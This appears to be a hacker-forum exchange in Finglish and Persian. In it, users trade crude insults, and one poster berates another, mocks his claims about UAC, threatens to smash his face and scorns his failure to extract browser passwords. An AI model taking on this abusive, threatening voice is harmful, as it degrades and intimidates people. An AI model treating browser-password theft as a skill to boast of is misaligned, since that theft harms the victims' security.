Mister XHat: bashe hatman
Mister XHat: 3 4 ta ham ba chob bezan to dastam
[email protected]: *** migi dige
[email protected]: bayad beri az kharej az keshvar tahiye ****
[email protected]: ta daste bere dakhel
[email protected]: man migam hamishe
[email protected]: liyaghat chize nist ke hame dashte bashan bala nesbat
برای من آدم شدی دم درآوردی؟ ببین خودمو انقد آوردم پایین که ببینم تو اصلا" مشکلت با ملت چیه؟! دیدم نه انگار از بیخ مریضی و نیازه دمتو قیچی کنم
وقتی geek1982 کد کرنل میزد تو با هسته ی خرمات داشتی بازی میکردی و الانم همینطوره دقیقا" !!!
از این به بعد هم دیگه uac uac هم نکن به قول آرش که میزنم دک و پوزت و میارم پایین... همین که نتونستی پسورد مرورگرها رو بکشی بیرون ادعای بی پایتو ثابت کرد :|
هرکجا هم که پست میبینه بلدم نباشه زرتی میره replay میزنه - عقده ی پست دادن داری برو وبلاگ بساز الکی چهره ی پست ملتو خراب نکن چاقال!
Comment
Comment